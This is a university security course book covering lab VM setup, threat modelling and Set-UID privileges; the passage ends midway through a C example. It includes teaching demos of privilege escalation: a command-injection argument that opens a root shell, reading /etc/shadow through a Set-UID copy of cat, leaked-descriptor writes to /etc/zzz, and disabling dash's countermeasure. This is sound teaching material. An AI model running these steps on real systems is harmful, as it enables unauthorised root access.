UIC CS487: Secure Computer Systems

This is the online book for CS487 — Secure Computer Systems at the University of Illinois Chicago. It has two halves that are meant to be used together:

  • Chapters explain the ideas: how attackers think, how real attacks work down to the bytes on the stack, and how defenses are designed. Each chapter ends with Check Your Understanding questions (click to reveal the answers) and points you to the lab that exercises the material.
  • Labs are the hands-on assignments: you will build, break, and then defend real systems software.

The book is written for senior undergraduates and graduate students who are comfortable with C and have seen an operating systems or computer architecture course. Optional Going deeper boxes point graduate readers at the research literature.

How the book is organized

Later parts — heap exploitation and memory-safe languages, malware, cryptography, public-key infrastructure, authentication and access control, network security, OS and hardware security, and AI & security — will be added as the course progresses.

How to use this site

  • Read the chapter before the lab. The labs assume the background in the corresponding chapters; the chapters assume you will try things in a VM as you read.
  • Read the whole lab before starting. Each lab has multiple tasks, and later tasks often depend on files or observations from earlier ones.
  • Work inside the course VM. Every lab is tested on the SEED Ubuntu 20.04 VM. Your local Ubuntu VM should also be fine. However, results on macOS or WSL may differ in ways that make the attacks fail. You may want to ask the instructor for a department VM.
  • Write things down as you go. Every task asks you to describe your observation. The report is where most of the credit lives — see Submitting a Lab Report.

Lab schedule

LabTopicReleasedDue
Lab 1Environment Variables and Set-UID Programs09/0109/11
Lab 2Return-to-libc Attack09/1509/25
Lab 3Format String Attack09/2910/09
OptionalRust Memory Safety10/22—
Lab 4Secret-Key EncryptionTBDTBD
Lab 5Public-Key Infrastructure (PKI)TBDTBD

Acknowledgments

The labs in this course are adapted from the SEED Labs project by Prof. Wenliang Du (Syracuse University), with UIC-specific setup, scoping, and submission requirements added, and the chapters follow the course’s recommended textbook, Computer & Internet Security: A Hands-on Approach. See Attribution and License for the details.

A note on ethics

The techniques in this book are real attack techniques. Use them only inside your own VM, or against systems you have explicit written permission to test. Running these against university infrastructure, or anyone else’s machine, is a violation of the UIC Student Disciplinary Policy and, quite likely, of state and federal law.

Lab Environment

All CS487 labs are developed and graded on the SEED Ubuntu 20.04 VM. Using the same image as the graders removes an entire class of “it worked on my machine” problems: several labs depend on the exact shell that /bin/sh points to, on specific glibc behavior, and on kernel hardening settings that differ across distributions.

Getting the VM

  1. Download the pre-built SEED Ubuntu 20.04 image from the SEED website: https://seedsecuritylabs.org/labsetup.html
  2. Install a hypervisor:
    • Intel/AMD machines: VirtualBox (free) or VMware Workstation/Fusion.
    • Apple Silicon Macs: VirtualBox does not run the x86 image well. Use UTM or VMware Fusion with an ARM Ubuntu 20.04 image, or use the cloud option below.
  3. Follow SEED’s VM setup manual for your hypervisor (linked from the same page).

The default account is seed with password dees.

Other option

If your laptop cannot run the image, contact the instructor on Piazza to get a department Ubuntu VM.

Sanity check

Before you start Lab 1, confirm your VM behaves as expected:

$ lsb_release -d
Description:	Ubuntu 20.04.x LTS

$ ls -l /bin/sh
lrwxrwxrwx 1 root root 4 ... /bin/sh -> dash

$ which gcc zsh
/usr/bin/gcc
/usr/bin/zsh

$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),...

If zsh is missing, install it — Lab 1 needs it:

sudo apt-get update && sudo apt-get install -y zsh

Working habits that will save you time

  • Snapshot your VM before each lab. Several labs ask you to relink /bin/sh, create root-owned Set-UID binaries, or modify files under /etc. A snapshot turns “I broke my VM” into a two-minute rollback.

  • Undo global changes when the lab is done. In particular, if a lab has you point /bin/sh at zsh, put it back:

    sudo ln -sf /bin/dash /bin/sh
    
  • Take screenshots as you go, not at the end. Reproducing a transient observation for the report is far more painful than capturing it the first time.

  • Keep a scratch directory per lab, e.g. ~/cs487/lab1/, and keep every source file you write. You will be asked to include code in the report.

Chapter 1: The Security Mindset

Most of computer science is about making systems do what they are supposed to do. Security is about making sure they do nothing else — even when someone is working hard to make them misbehave. That one change of perspective, from “does it work?” to “how could it be made to fail?”, is what this chapter is about. Everything else in the book, from buffer overflows to public-key certificates, is an application of it.

Learning objectives. After this chapter you should be able to:

  • Explain what an adversary is and why security differs from ordinary correctness.
  • Write down a threat model for a system: who attacks, with what capabilities, and what they are after.
  • Classify a security requirement as confidentiality, integrity, or availability.
  • Name the main families of countermeasures and the costs each one carries.
  • Recognize a handful of classic security design principles when you see them applied (or violated) in real code.

1.1 Why Security Is Different

A program that sorts numbers is correct if it sorts every input correctly. Testing it against random inputs is a reasonable way to gain confidence, because bugs that hide behind one-in-a-billion inputs rarely matter: nature does not choose inputs to hurt you.

An attacker does. Security engineering assumes that somewhere out there is an adversary — an intelligence that actively tries to make the system misbehave and that gets to pick the worst possible input, the worst possible timing, and the worst possible environment. A bug that is triggered by one specially shaped 200-byte string is irrelevant to a sorting routine and catastrophic for a network server, because the adversary will find that string and send it.

This is why the field is fun. To defend a system you have to understand how it can be broken, so a large part of this course is spent breaking things: hijacking the control flow of a program, turning a printf call into an arbitrary memory write, opening a shell on a remote machine. The same skills are rewarded in Capture the Flag (CTF) competitions, in bug-bounty programs that pay for vulnerability reports, and in large-scale challenges such as DARPA’s Cyber Grand Challenge (2016), where fully automated systems found, exploited, and patched bugs with no human in the loop, and its successor, the AI Cyber Challenge (AIxCC), where LLM-driven systems did the same on real open-source software.

It is also why the field is hard. As the following chapters show, defending means closing every hole, while attacking means finding one.

1.2 The Systems We Secure

A modern computer is a stack of layers, each built on the one below and each trusting the one below:

   +---------------------------------------------------+
   |  Applications   (browser, server, your program)   |   application security
   +---------------------------------------------------+
   |  Runtime        (libc, dynamic linker, JVM, ...)  |
   +---------------------------------------------------+
   |  Operating system kernel                          |   OS security
   +---------------------------------------------------+
   |  Hardware       (CPU, memory, devices)            |   hardware security
   +---------------------------------------------------+
            \___________ network ___________/              network security

“All problems in computer science can be solved by another level of indirection.” — attributed to Butler Lampson

Layering is how we manage complexity, and it shapes security in two directions. A lower layer can protect the layers above it: the kernel enforces file permissions that no application can bypass, and the CPU enforces page permissions that the kernel relies on. But a lower layer is also part of everyone’s trusted computing base: a bug in the dynamic linker (Chapter 2) or a CPU side channel affects every program running on top, no matter how carefully that program was written.

Roughly, this book follows the stack. Part I starts with the boundary between users and privileged programs on a Linux system, then spends several chapters on the memory-safety bugs in C programs that let an attacker take over a process. Later parts cover cryptography, network security, OS and hardware security, and the security of — and security with — AI systems.

1.3 Adversaries and Threat Models

“Is this system secure?” has no answer by itself. Secure against whom, protecting what? A threat model makes those questions explicit. Writing one forces you to answer three groups of questions:

  1. Who are the attackers? What are their capabilities (can they run code on the machine, or only send network packets?), their access (insider or outsider, physical or remote?), and their motivation (money, espionage, vandalism, curiosity)?
  2. What are we trying to protect? Data, money, availability of a service, the integrity of a device, user privacy?
  3. What properties must hold? For example: “no app can read another app’s files” or “only the account owner can transfer money.”

A threat model is also a statement of what you are not defending against. A password manager may assume the operating system is not compromised; a smart-card design may explicitly consider attackers with oscilloscopes. Neither is wrong, but a system deployed outside its threat model is not secure, whatever its documentation says.

Example: a mobile operating system

Imagine you are on the security team for a mobile OS such as Android.

  • Potential attackers: external hackers sending malicious network traffic or messages; malicious app developers who publish apps that try to escape their sandbox; thieves who steal the physical phone; users with limited security awareness who can be tricked into granting permissions or installing apps from untrusted sources.
  • Assets: the user’s personal data (photos, messages, location, credentials), other apps’ private data, payment information, the integrity of the OS itself, and the device’s availability.
  • Required properties: apps are isolated from each other; an app gets only the permissions the user granted; the OS boots only signed code; a locked phone does not reveal its data to whoever holds it.

Notice that the threat model already suggests the architecture: per-app sandboxes, a permission system, verified boot, and storage encryption are each direct answers to one line above.

1.4 Security Objectives: Confidentiality, Integrity, Availability

Security requirements are traditionally sorted into three objectives, abbreviated CIA.

Confidentiality — prevent or detect improper disclosure of information.

  • Data confidentiality: sensitive information is available only to authorized parties.
  • Privacy: individuals control what information about them is collected and stored, and to whom it is disclosed.

Integrity — prevent or detect improper modification of information.

  • Data integrity: information and software can be changed only in a specified and authorized manner.
  • System integrity: the system performs its intended function, unimpaired by unauthorized manipulation.

Availability — prevent or detect improper denial of access to services that the system provides.

Most real requirements map cleanly onto one of the three:

RequirementObjective
You should not learn your classmates’ scores in this course.Confidentiality
You should not be able to change your score after the semester ends.Integrity
Your scores should always be viewable in the student portal.Availability

Attacks map the same way. Most of the memory-corruption attacks in the next chapters are integrity attacks first — the attacker overwrites a return address or a function pointer — that are then leveraged into confidentiality breaches (reading a secret key) or full system compromise. A program crash is an availability attack. Keep the mapping in mind: when you design a defense, you should be able to say which objective it protects.

Note. Other properties are often added to the triad: authenticity (you know who sent a message), non-repudiation (the sender cannot later deny sending it), and accountability (actions can be traced to whoever performed them). We will meet them in the cryptography chapters.

1.5 How We Achieve the Objectives

There is no single mechanism that “adds security.” Systems combine many countermeasures, each covering part of the threat model.

Technical countermeasures include:

  • Access control — the OS decides which user or process may read, write, or execute which resource (Chapter 2).
  • Memory-safety checks — compiler- and hardware-enforced defenses that make memory corruption harder to exploit (Chapters 6 and 8), or languages such as Rust that rule it out by construction.
  • Cryptography — encryption for confidentiality, MACs and signatures for integrity and authenticity.
  • Firewalls and intrusion detection — filter and monitor network traffic.
  • Malware scanners and software checking mechanisms such as code signing and static analysis.

Non-technical countermeasures are just as important: laws and regulations, institutional policies, procedures, user training, auditing, and incentives. A perfectly encrypted database does not help if an employee can be phoned up and talked into reading records aloud.

Why security is hard

If the mechanisms exist, why are systems still broken so often?

  • People do not perceive the value of security investment — until a failure occurs, such as a breach of stored credit-card numbers.
  • Security gets in the way. Users see security measures as obstacles to getting their work done, and they will route around them (sticky-note passwords, disabled warnings). Good mechanisms are transparent to normal use.
  • Retrofitting is difficult. Adding security to an existing system, such as a memory-safety check to a large C code base, is far harder than designing it in.

Security has a cost

No security mechanism is free. Direct costs include design, implementation, runtime overhead, and enforcement — including the cost of false positives that block legitimate users. Indirect costs include added complexity (itself a source of bugs) and lost productivity. Throughout the book you will see defenses that were known for years but deployed only once their overhead dropped below a few percent; Control-Flow Integrity (Chapter 8) is a prime example. Security is always a trade-off against performance, usability, and money.

1.6 Security Design Principles

Some ideas recur so often that they have names. Here are the ones we will use most.

  • Least privilege (separation of privilege). Every component should run with the minimum privilege it needs, for the minimum time. A program that needs root to open one file should open it and then drop root (Chapter 2).
  • Isolation and encapsulation. Keep components that do not need to interact apart, so a compromise of one does not spread. Processes, virtual machines, containers, and app sandboxes are all isolation mechanisms. One special case appears again and again in this book: keep code and data separate. Many attacks — command injection, SQL injection, cross-site scripting, and buffer-overflow code injection — happen because attacker-supplied data ends up being interpreted as code.
  • Usability (psychological acceptability). Mechanisms should be transparent to normal users and easy to use correctly; otherwise they will be bypassed.
  • Layering (defense in depth). Do not rely on a single mechanism. If a stack canary is bypassed, a non-executable stack should still stop the shellcode; if that is bypassed, ASLR should make the addresses unknown.
  • Fail-safe defaults. Base access decisions on explicit permission, not on exclusion. When in doubt, deny.
  • Economy of mechanism. Keep security-critical code small and simple enough that it can actually be reviewed and verified.

These principles come from a long tradition, most famously Saltzer and Schroeder’s 1975 paper listed at the end of this chapter. You will find it a useful exercise, whenever you read about an attack in later chapters, to name the principle that the victim violated.

1.7 Thinking Like an Attacker

A useful habit is to look at every program as an attacker would. Consider this fragment, which appears (in some form) in the next few chapters:

int check(char *input)
{
    char buf[16];
    strcpy(buf, input);      /* copies until the first '\0' byte */
    return 0;
}

A programmer reads it as “copy the input into a buffer.” An attacker asks different questions:

  • Who controls input? If it comes from a command-line argument, a file, or the network, the attacker does.
  • What happens if it is longer than 16 bytes? strcpy keeps writing past the end of buf into whatever lies next to it in memory.
  • What lies next to buf? On the stack, among other things, the address this function will return to.
  • Who runs this program, with what privilege? If it is a root-owned Set-UID program (Chapter 2), whatever the attacker achieves, they achieve as root.

Each of those questions turns out to have an answer that leads to a full exploit. That chain — attacker-controlled input → memory corruption → control of execution → privilege — is the backbone of the first half of this book.

A note on ethics. The techniques in this book are real attack techniques. Use them only inside your own virtual machine or containers, or against systems you have explicit written permission to test. Using them against university infrastructure or anyone else’s machine is a violation of university policy and, very likely, of the law.

Check Your Understanding

1. In your own words, what distinguishes a security bug from an ordinary bug?

Answer

An ordinary bug matters in proportion to how often natural inputs trigger it. A security bug matters if any input an adversary can supply triggers it, because the adversary will deliberately choose that input. Security is correctness against a worst-case, intelligent, adaptive opponent rather than against random inputs.

2. Classify each requirement as confidentiality (C), integrity (I), or availability (A): (a) a ransomware attack encrypts a hospital’s records; (b) an attacker changes the destination account of a wire transfer in transit; (c) a contractor copies a customer database onto a USB stick.

Answer

(a) A — the records still exist and were not disclosed (in the basic version of the attack), but the hospital can no longer access them. Modern “double extortion” ransomware also steals the data first, adding a C violation. (b) I — data was modified without authorization. (c) C — data was disclosed to an unauthorized party.

3. Write a short threat model (attackers, assets, required properties) for the course’s online grade book.

Answer

One reasonable answer. Attackers: students who want to change their own grade or see others’ grades; outside attackers who want student records (personal data); a careless or malicious TA account. Assets: grades and submissions, student identities and personal data, instructor credentials. Properties: only the instructor and TAs can modify grades, and every change is logged (integrity, accountability); a student sees only their own grades (confidentiality); the grade book is reachable during the term, especially around deadlines (availability). An explicit non-goal might be “we assume the university’s single-sign-on system is not compromised.”

4. A program runs as root, opens a protected log file, and then keeps running as root for the rest of its lifetime even though it never needs root again. Which design principle does it violate, and why does that matter?

Answer

Least privilege. If any later part of the program has a bug — for example, a buffer overflow in its input parser — the attacker who exploits it inherits root privilege. Had the program dropped privilege right after opening the file, the same bug would give the attacker only an ordinary user’s privilege. (Chapter 2 shows that dropping privilege has its own pitfalls: the open file descriptor can still leak.)

5. Command injection, SQL injection, and stack-based code injection look very different. What do they have in common?

Answer

All three let attacker-supplied data be interpreted as code: shell syntax in a command string, SQL syntax in a query string, or machine instructions in a stack buffer to which the program later jumps. They all violate the principle of keeping code and data separate, and the robust fixes all restore that separation (execve with an argument vector, parameterized queries, non-executable data pages).

Summary

  • Security is correctness in the presence of an adversary who chooses inputs, timing, and environment to make the system misbehave.
  • A threat model states who the attackers are, what they can do, what they want, and what properties the system must preserve — and, implicitly, what it does not defend against.
  • Security objectives are classified as confidentiality, integrity, and availability.
  • Countermeasures are technical (access control, memory safety, cryptography, firewalls) and non-technical (law, policy, training). All of them cost something, so security is always a trade-off.
  • Design principles such as least privilege, isolation (especially of code from data), defense in depth, fail-safe defaults, and economy of mechanism explain why attacks succeed and how defenses are built.

Further Reading

  • Jerome H. Saltzer and Michael D. Schroeder. “The Protection of Information in Computer Systems.” Proceedings of the IEEE, 63(9), 1975. The origin of most of the design principles above.
  • Wenliang Du. Computer & Internet Security: A Hands-on Approach, 3rd edition. The recommended textbook for this course.
  • CTF101, an introduction to Capture-the-Flag competitions: https://ctf101.org/
  • DARPA AI Cyber Challenge: https://aicyberchallenge.com/

Chapter 2: Privileged Programs: Set-UID and Environment Variables

An operating system is, among other things, a referee. Many users share one machine, and the kernel decides who may read, write, or run what. Most of the time the rules are simple: your files are yours, my files are mine. But some legitimate tasks cut across those rules. You are allowed to change your password, yet the password database is a file that only root may write. How can an ordinary user perform an operation that requires more privilege than they have — without being handed that privilege for everything else?

Unix answers with Set-UID programs: ordinary executables that run with the privilege of their owner rather than of the user who launches them. Set-UID is elegant and old, and it creates exactly the situation an attacker loves: a program running with high privilege whose behavior is partly controlled by a low-privilege user. This chapter studies that boundary. We start with the Linux permission model, introduce Set-UID, and then walk through the ways the less-privileged side can reach across — through leaked capabilities, through shell commands, and through a channel programmers often forget is there at all: environment variables.

Learning objectives. After this chapter you should be able to:

  • Read and set Linux file permissions (rwx bits, octal notation, umask, ACLs).
  • Explain real, effective, and saved user IDs, and how a Set-UID program uses them.
  • Identify capability leaking, and fix it.
  • Explain why system() is dangerous in privileged code and why execve() is safer.
  • Describe how environment variables reach a process and why they form part of a privileged program’s attack surface.
  • Trace a C program from source to running process, and explain how the dynamic linker can be manipulated through LD_PRELOAD and LD_LIBRARY_PATH.
  • Compare the Set-UID approach and the service approach to privileged operations.

2.1 Users and Groups

Linux identifies every user by a numeric user ID (UID). Names are a convenience for humans; the kernel only ever compares numbers. UID 0 is root, the superuser, for whom most permission checks are skipped.

User accounts are listed in /etc/passwd, one per line, with seven colon-separated fields:

seed:x:1000:1000:SEED,,,:/home/seed:/bin/bash
 |   |  |    |      |        |          |
 |   |  |    |      |        |          +-- login shell
 |   |  |    |      |        +------------- home directory
 |   |  |    |      +---------------------- comment (GECOS) field
 |   |  |    +----------------------------- primary group ID (GID)
 |   |  +---------------------------------- user ID (UID)
 |   +------------------------------------- password placeholder ("x": see /etc/shadow)
 +----------------------------------------- user name

The id command shows who you are:

$ id
uid=1000(seed) gid=1000(seed) groups=1000(seed),4(adm),27(sudo),...

To add a user, an administrator can run sudo adduser alice (a friendly front end that creates the home directory and sets a password) or, in principle, edit /etc/passwd directly. To act as another user, use su:

$ su alice          # asks for alice's password, then starts a shell as alice
$ sudo su           # become root (asks for *your* password, if you are a sudoer)

A group is a named set of users, identified by a group ID (GID). Groups let an administrator grant a permission to many users at once — for example, every member of group sudo may run sudo. A user has one primary group (the GID field in /etc/passwd) and may belong to any number of supplementary groups, which are listed in /etc/group. The groups command prints a user’s groups; sudo groupadd and sudo usermod -a -G <group> <user> manage them.

2.2 Linux File Permissions

Every file has an owning user, an owning group, and nine permission bits: read (r), write (w), and execute (x) for each of three classes — the user owner, the group owner, and others.

$ ls -l /etc/passwd
-rw-r--r-- 1 root root 2915 Aug 26 10:12 /etc/passwd
 \_/\_/\_/   \__/ \__/
  u  g  o   owner group

Here root may read and write; members of group root and everyone else may only read. For directories, r means “list the names,” w means “create, delete, or rename entries,” and x means “traverse” (use the directory in a path).

The kernel checks permissions in order: if you are the owner, the user bits apply; otherwise if you are in the owning group, the group bits apply; otherwise the other bits apply. Only the first matching class is used — an owner with --- is denied even if “others” have rwx.

Octal notation

Each class’s three bits form one octal digit (r=4, w=2, x=1), so the full mode is three digits:

SymbolicOctalTypical use
rw-r--r--644ordinary file
rwxr-xr-x755program or directory
rw-------600private file (e.g., an SSH key)
rwx------700private directory

Changing permissions and ownership

chmod changes the mode, either symbolically or in octal; chown changes the owner (and optionally the group). Only root may give a file away to another user.

$ chmod u+x prog            # add execute for the owner
$ chmod 640 notes.txt       # rw-r-----
$ sudo chown root prog      # owner becomes root
$ sudo chown root:root prog # owner and group both become root

Default permissions: umask

When a program creates a file, it requests a mode — conventionally 0666 for files and 0777 for directories — and the kernel removes any bit that is set in the process’s umask. The resulting mode is requested & ~umask.

$ umask
0002
$ touch a; mkdir d; ls -ld a d
-rw-rw-r-- 1 seed seed    0 ... a
drwxrwxr-x 2 seed seed 4096 ... d

Try it. Predict the mode of a new file and a new directory for each umask, then check with umask <value>; touch f; mkdir d; ls -ld f d.

umasknew filenew directory
0022??
0077??
0027??

(Answers: 644/755; 600/700; 640/750. Note that the umask only ever removes bits; it never adds x to a regular file.)

Access control lists

The owner/group/other model is coarse. If you want to let exactly one other user, say bob, read a file — without creating a new group — you need an access control list (ACL). ACLs coexist with the traditional bits: they add entries for specific users and groups.

$ setfacl -m u:bob:r-- report.txt
$ getfacl report.txt
# file: report.txt
# owner: seed
# group: seed
user::rw-
user:bob:r--
group::r--
mask::r--
other::---
$ ls -l report.txt
-rw-r-----+ 1 seed seed 120 ... report.txt

The trailing + in ls -l tells you an ACL is present. setfacl -x u:bob report.txt removes the entry, and setfacl -b removes all extended entries.

2.3 The Need for Privileged Programs

Now the dilemma. Password hashes live in /etc/shadow:

$ ls -l /etc/shadow
-rw-r----- 1 root shadow 1468 ... /etc/shadow

Only root can write it — rightly so, since anyone who can write it can set any user’s password. Yet every user must be able to change their own password. Two broad designs could resolve this:

  1. Make /etc/shadow writable by everyone and trust each user to touch only their own line. Obviously unacceptable.
  2. Give users a carefully written program that performs exactly one privileged action — “update my entry in /etc/shadow” — and give that program the privilege, not the user.

The second design requires a mechanism to attach privilege to a program. On Unix that mechanism is the Set-UID bit. (Section 2.13 discusses the other common answer, a privileged service.)

2.4 Set-UID Programs

Three user IDs per process

Every process carries several user IDs. Two matter most:

  • The real UID (RUID) identifies who actually started the process — the “real owner” of the process.
  • The effective UID (EUID) identifies the privilege the process has. Access control decisions use the EUID.

A third, the saved set-user-ID, remembers the EUID the program started with so that a program can temporarily drop privilege and later regain it (Section 2.6).

For a normal program, RUID = EUID = the ID of the user who ran it. A Set-UID program is a normal executable with one extra bit in its mode. When such a program is executed, the kernel sets the EUID (and the saved UID) to the owner of the file, while the RUID stays the invoking user. If the file is owned by root, the program runs with root privilege.

The canonical example is passwd:

$ ls -l /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 ... /usr/bin/passwd

The s where the owner’s x would be marks the Set-UID bit. Any user can run passwd; while it runs, its EUID is 0, so it may open /etc/shadow for writing. The program’s logic — “verify the old password, then update only the caller’s line” — is what keeps this safe. The security of the whole arrangement therefore rests entirely on that program being correct.

Making a Set-UID program

Let us turn a copy of cat into a root-owned Set-UID program and watch the effect:

$ cp /bin/cat ./mycat
$ ./mycat /etc/shadow
./mycat: /etc/shadow: Permission denied
$ sudo chown root mycat
$ sudo chmod 4755 mycat       # the leading 4 is the Set-UID bit
$ ls -l mycat
-rwsr-xr-x 1 root seed 43416 ... mycat
$ ./mycat /etc/shadow
root:!:19100:0:99999:7:::
...

The octal digit in front of the usual three encodes three special bits: 4 is Set-UID, 2 is Set-GID (the same idea for groups), and 1 is the sticky bit.

Note. The order of the two commands matters. Changing a file’s owner clears its Set-UID and Set-GID bits; on Linux this happens even when root performs the chown. The kernel does this deliberately — otherwise a user could make a Set-UID program and then hand it to another account, creating a program that runs with that account’s privileges. So always chown first and chmod 4755 second. If you do it the other way around, ls -l will show -rwxr-xr-x, and the program runs without any privilege.

Try it. Write a program that prints getuid() and geteuid(). Run it normally, then make it a root-owned Set-UID program and run it again. You should see RUID 1000 and EUID 0 the second time.

Why study Set-UID?

Set-UID is a small mechanism, but it is a concentrated lesson in three things that recur throughout this book:

  • Access control and privilege management in Unix-like systems: who is allowed to do what, and how a system grants exceptions to its own rules.
  • Privilege escalation: a Set-UID root program is a bridge from user to root. If the bridge has a hole, the attacker walks across.
  • Exploitation targets: in the next chapters, the vulnerable programs you exploit are Set-UID root programs. A buffer overflow in an ordinary program gives you only your own privilege; the same overflow in a Set-UID root program gives you a root shell.

The rest of this chapter is about the holes. A Set-UID program’s code is fixed by its author, but the user who runs it controls a surprising number of its inputs: command-line arguments, standard input, files it reads, inherited file descriptors, the current directory, resource limits, signals, and environment variables. Each is part of the attack surface.

2.5 Capability Leaking

Well-written privileged programs follow the principle of least privilege (Chapter 1): they do their privileged work early and then give up root. The su program, for example, starts with RUID = the invoking user and EUID = root; once it has verified the target user’s password, it permanently switches all its UIDs to the target user and then starts a shell.

Dropping privilege is not the same as dropping capabilities, however. Consider this root-owned Set-UID program:

// cap_leak.c
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(void)
{
    int fd;
    char *v[2];

    /* /etc/zzz is owned by root and writable only by root (mode 0644). */
    fd = open("/etc/zzz", O_RDWR | O_APPEND);   /* succeeds: EUID is 0 */
    if (fd == -1) {
        printf("Cannot open /etc/zzz\n");
        exit(0);
    }
    printf("fd is %d\n", fd);

    /* Permanently drop privilege: EUID (and RUID, saved UID) := RUID. */
    setuid(getuid());

    /* Hand control to the user. */
    v[0] = "/bin/sh"; v[1] = 0;
    execve(v[0], v, 0);
    return 0;
}

It looks careful: it calls setuid(getuid()) before starting a shell, so the shell runs as the ordinary user. But the program opened /etc/zzz while it was root and never closed the descriptor. Permission checks happen at open() time, not on each write(). File descriptors survive execve() (unless marked close-on-exec), so the unprivileged shell inherits descriptor 3, already opened for writing:

$ ./cap_leak
fd is 3
$ echo "owned by an unprivileged user" >&3
$ exit
$ cat /etc/zzz
...
owned by an unprivileged user

This is capability leaking: the process lost its privileged identity but kept a privileged capability — an open file descriptor — that it acquired while privileged. The fix is to destroy the capability before downgrading: call close(fd) before setuid() (or open the file with O_CLOEXEC so that execve() closes it).

Going deeper — a real capability leak. In July 2015, Stefan Esser disclosed a privilege escalation in OS X 10.10 Yosemite (CVE-2015-3760). Apple had added a DYLD_PRINT_TO_FILE environment variable that tells the dynamic linker dyld to write its debug log to a named file. dyld runs inside every program — including root-owned Set-UID programs — and so could open any file with root privilege. It did not close that descriptor, and it did not ignore the variable for Set-UID programs. An attacker could set DYLD_PRINT_TO_FILE=/etc/sudoers, run any Set-UID program that later drops privilege or executes user-controlled code, and write to the leaked descriptor. Exploits circulated as one-line shell commands within days. Note that this single bug combines both themes of this chapter: a capability leak, reached through an environment variable that a privileged component trusted.

2.6 Dropping Privilege Correctly: setuid() vs. seteuid()

Linux offers two calls to change UIDs, and confusing them is a classic mistake.

  • seteuid(uid) changes only the EUID. If the process started as Set-UID root, the saved UID is still 0, so the program can later call seteuid(0) to regain root. This is a temporary drop: useful when a program wants to perform most work as the user and switch back for one privileged step.
  • setuid(uid) called while the EUID is 0 sets real, effective, and saved UIDs all to uid. This is a permanent drop: there is no way back to root.
                       RUID   EUID   saved
start (Set-UID root)   1000      0       0
after seteuid(1000)    1000   1000       0   <- can seteuid(0) again
after setuid(1000)     1000   1000    1000   <- root is gone for good

A program that intends to hand control to a user — run a shell, run a user-supplied script, or parse untrusted input — must drop privilege permanently, and must first release every privileged resource it holds.

Note. The exact semantics of setuid() when the EUID is not 0 are subtly different, and differ across Unix systems. Chen, Wagner, and Dean’s paper “Setuid Demystified” (USENIX Security 2002) documents the mess and is worth reading if you ever write privileged code.

2.7 Invoking External Programs

Privileged programs often run other programs. There are two very different ways to do it in C.

The unsafe approach: system()

system(cmd) asks a shell to run a command line: it effectively executes /bin/sh -c "cmd". That is convenient — you get PATH lookup, redirection, pipes — and it is exactly the problem. Consider this program, intended to let an auditor read any file on the system but not modify anything:

// catall.c  (root-owned Set-UID)
int main(int argc, char *argv[])
{
    char *v[3];
    char *command;

    if (argc < 2) { printf("Please type a file name.\n"); return 1; }

    v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = NULL;
    command = malloc(strlen(v[0]) + strlen(v[1]) + 2);
    sprintf(command, "%s %s", v[0], v[1]);

    system(command);          /* runs: /bin/sh -c "/bin/cat <argv[1]>" */
    return 0;
}

The author’s reasoning was “this program only ever runs cat, and cat cannot modify files.” But the user’s argument is pasted into a shell command line, and the shell interprets it. The user can supply shell syntax:

$ ./catall "/etc/shadow; /bin/sh"
root:!:19100:0:99999:7:::
...
# id
uid=1000(seed) gid=1000(seed) euid=0(root) ...

The ; ends the cat command and starts a second one — a root shell. Something meant to be data (a file name) has become code (a command). This is the same root cause as SQL injection and cross-site scripting.

Note — the dash countermeasure. On Ubuntu, /bin/sh is a symbolic link to /bin/dash. When dash (and bash, unless started with -p) detects that its EUID differs from its RUID, it sets its EUID back to the RUID, i.e., it drops the Set-UID privilege before running anything. The attack above then yields only a normal shell. This is a useful safety net, but it is a property of one shell, not a fix in your program. For the labs, the SEED environment re-points /bin/sh to a shell without this check:

$ sudo ln -sf /bin/zsh /bin/sh      # lab setting: remove the countermeasure
$ sudo ln -sf /bin/dash /bin/sh     # restore afterwards

The safe approach: execve()

execve(path, argv, envp) replaces the current process image with the program at path. It does not involve a shell. The program name is supplied by the program itself; the user’s data travels in argv and is delivered verbatim to the new program:

v[0] = "/bin/cat"; v[1] = argv[1]; v[2] = NULL;
execve(v[0], v, NULL);

Now ./catall "/etc/shadow; /bin/sh" makes cat look for a file literally named /etc/shadow; /bin/sh, which does not exist. Code and data travel in separate channels, so there is no way for the data to become code.

system():   "/bin/cat " + user_input  ──►  /bin/sh parses ONE string  ──►  ??? 
execve():   argv[0] = "/bin/cat"      ──►  kernel runs /bin/cat
            argv[1] = user_input      ──►  delivered as a single argument, never parsed

2.8 Two Principles, Concretely

The examples above illustrate two design principles from Chapter 1.

Isolation of code and data. Attacks happen when a channel that should carry only data is also interpreted as code. system() command injection, SQL injection, cross-site scripting, and (in Chapter 4) stack buffer overflows all violate this principle. The robust fixes all restore the separation: execve() with an argument vector, parameterized SQL queries, contextual output escaping, non-executable data pages.

Least privilege. A privileged program should hold only the power needed for its task, and only while it needs it. Use seteuid() to set privilege aside temporarily and setuid() to discard it permanently — after releasing privileged resources. Other systems offer finer tools: Linux capabilities split root’s power into pieces such as CAP_NET_BIND_SERVICE, and sandboxes such as seccomp restrict which system calls a process may make.

2.9 Environment Variables

An environment variable is a named string value, such as HOME=/home/seed, attached to every process. Environment variables were introduced in Unix (in Version 7, 1979) and later adopted by essentially every OS, including Windows. They configure how programs behave without changing their code. The best known is PATH: when you type ls, the shell searches the colon-separated directories in PATH, in order, for an executable named ls.

$ printenv PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
$ export GREETING=hello       # set (bash built-in)
$ printenv GREETING
hello
$ unset GREETING              # remove (bash built-in)

Accessing them from C

A C program can read its environment in two ways. The main function may take a third parameter, and the C library exposes a global variable:

#include <stdio.h>
extern char **environ;

int main(int argc, char *argv[], char *envp[])
{
    for (int i = 0; envp[i] != NULL; i++)      /* only valid inside main */
        printf("%s\n", envp[i]);

    for (char **p = environ; *p != NULL; p++)  /* works anywhere */
        printf("%s\n", *p);
    return 0;
}

At program start, envp and environ point to the same array. The global environ is the more reliable choice: it is accessible from any function, and if the program changes its environment with setenv() or putenv(), the library may move the array to the heap and update environ — leaving envp pointing at the stale original. For a single variable, use getenv("NAME").

Where they come from

A process gets its environment from whoever executes it. There are two paths:

  • fork() creates a child that is a copy of the parent, including its environment.
  • execve(path, argv, envp) discards the old program, and the third argument becomes the new program’s entire environment. Pass NULL and the new program starts with an empty environment; pass environ and it inherits the caller’s.
/* passenv.c: run /usr/bin/env with a chosen environment */
#include <unistd.h>
extern char **environ;

int main(void)
{
    char *argv[] = { "/usr/bin/env", NULL };
    char *newenv[] = { "AAA=aaa", "BBB=bbb", NULL };

